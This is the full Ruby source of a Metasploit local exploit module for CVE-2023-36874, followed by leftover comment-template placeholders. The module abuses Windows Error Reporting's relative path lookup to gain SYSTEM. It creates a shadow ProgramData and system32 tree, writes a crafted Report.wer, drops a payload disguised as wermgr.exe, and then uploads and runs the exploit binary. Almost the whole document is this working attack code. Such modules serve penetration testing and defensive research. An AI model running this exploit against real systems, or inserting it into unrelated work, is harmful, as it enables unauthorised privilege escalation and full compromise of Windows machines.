## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Exploit::FileDropper include Msf::Post::Windows::Priv include Msf::Exploit::EXE prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Error Reporting Local Privilege Elevation Vulnerability', 'Description' => %q{ This module takes advantage of a bug in the way Windows error reporting opens the report parser. If you open a report, Windows uses a relative path to locate the rendering program. By creating a specific alternate directory structure, we can coerce Windows into opening an arbitrary executable as SYSTEM. If the current user is a local admin, the system will attempt impersonation and the exploit will fail. }, 'License' => MSF_LICENSE, 'Author' => [ 'Filip Dragović (Wh04m1001)', # PoC 'Octoberfest7', # PoC 'bwatters-r7' # msf module ], 'Platform' => ['win'], 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ], 'Targets' => [ [ 'Automatic', { 'Arch' => [ ARCH_X64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-07-11', 'References' => [ ['CVE', '2023-36874'], ['URL', 'https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/'], ['URL', 'https://github.com/Wh04m1001/CVE-2023-36874'], ['URL', 'https://github.com/Octoberfest7/CVE-2023-36874_BOF'] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_delete_file stdapi_sys_config_getenv ] } } ) ) register_options([ OptString.new('EXPLOIT_NAME', [true, 'The filename to use for the exploit binary (%RAND%.exe by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]), OptString.new('REPORT_DIR', [true, 'The Error Directory to use (%RAND% by default).', Rex::Text.rand_text_alpha(6..14).to_s]), OptString.new('SHADOW_DRIVE', [true, 'Directory to place in the home drive for pivot (%TEMP% by default).', Rex::Text.rand_text_alpha(6..14).to_s]), OptInt.new('EXECUTE_DELAY', [true, 'The number of seconds to delay between file upload and exploit launch', 3]) ]) end # When we pass the directory value to the mkdir method, the mkdir method # passes the reference to the string containing the directory. # We do a lot of string manipulation in this module, so this is a quick # hack to make sure that despite what we do with the string after we create # the directory, it is the actual directory we created that gets sent to # the cleanup methods. def clone_mkdir(dir) mkdir(dir.clone) end def upload_error_report wer_archive_dir = get_env('PROGRAMDATA') vprint_status(wer_archive_dir) wer_archive_dir << '\\Microsoft\\Windows\\WER\\ReportArchive' report_dir = "#{wer_archive_dir}\\#{datastore['REPORT_DIR']}" report_filename = "#{report_dir}\\Report.wer" vprint_status("Creating #{report_dir}") clone_mkdir(report_dir) wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer') vprint_status("Writing Report to #{report_filename}") write_file(report_filename, wer_report_data) end def build_shadow_archive_dir(shadow_base_dir) wer_archive_dir = shadow_base_dir clone_mkdir(wer_archive_dir) wer_archive_dir << '\\ProgramData\\' clone_mkdir(wer_archive_dir) wer_archive_dir << 'Microsoft\\' clone_mkdir(wer_archive_dir) wer_archive_dir << 'Windows\\' clone_mkdir(wer_archive_dir) wer_archive_dir << 'WER\\' clone_mkdir(wer_archive_dir) wer_archive_dir << 'ReportArchive\\' clone_mkdir(wer_archive_dir) report_dir = "#{wer_archive_dir}#{datastore['REPORT_DIR']}" clone_mkdir(report_dir) return report_dir end def upload_shadow_report(shadow_archive_dir) report_filename = "#{shadow_archive_dir}\\Report.wer" wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer') vprint_status("Writing bad Report to #{report_filename}") write_file(report_filename, wer_report_data) end def build_shadow_system32(shadow_base_dir) shadow_win32 = "#{shadow_base_dir}\\system32" vprint_status("Creating #{shadow_win32}") clone_mkdir(shadow_win32) return shadow_win32 end def upload_payload(shadow_win32) payload_bin = generate_payload_exe payload_filename = "#{shadow_win32}\\wermgr.exe" vprint_status("Writing payload to #{payload_filename}") write_file(payload_filename, payload_bin) end def upload_execute_exploit(exploit_path, shadow_path, home_dir) vprint_status("shadow_path = #{shadow_path}") exploit_bin = exploit_data('CVE-2023-36874', 'CVE-2023-36874.exe') write_file(exploit_path, exploit_bin) sleep datastore['EXECUTE_DELAY'] vprint_status("Exploit uploaded to #{exploit_path}") cmd = "#{exploit_path} #{shadow_path} #{home_dir} #{datastore['REPORT_DIR']}" output = cmd_exec(cmd, nil, 30) vprint_status(output) end def check # This only appears to work on 22H2, but likely will work elsewhere if we figure out the function pointers. version = get_version_info vprint_status("OS version: #{version}") return Exploit::CheckCode::Appears if version.build_number == Msf::WindowsVersion::Win10_22H2 return Exploit::CheckCode::Safe end def exploit fail_with(Module::Failure::BadConfig, 'User cannot be local admin') if is_in_admin_group? fail_with(Module::Failure::BadConfig, 'Already SYSTEM') if is_system? shadow_dir = datastore['SHADOW_DRIVE'] home_dir = get_env('HOMEDRIVE') shadow_path = "#{home_dir}\\#{shadow_dir}" vprint_status("Shadow Path = #{shadow_path}") upload_error_report shadow_archive_dir = build_shadow_archive_dir(shadow_path.dup) upload_shadow_report(shadow_archive_dir) shadow_system32 = build_shadow_system32(shadow_path.dup) upload_payload(shadow_system32) sleep datastore['EXECUTE_DELAY'] exploit_path = "#{shadow_path}\\#{datastore['EXPLOIT_NAME']}" exploit_path << '.exe' unless exploit_path[-4..] == '.exe' if shadow_dir.length > 64 fail_with(Module::Failure::BadConfig, 'REPORT_DIR value too long') end upload_execute_exploit(exploit_path, shadow_dir, home_dir) print_warning("Manual deletion of #{shadow_path} may be required") end end
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |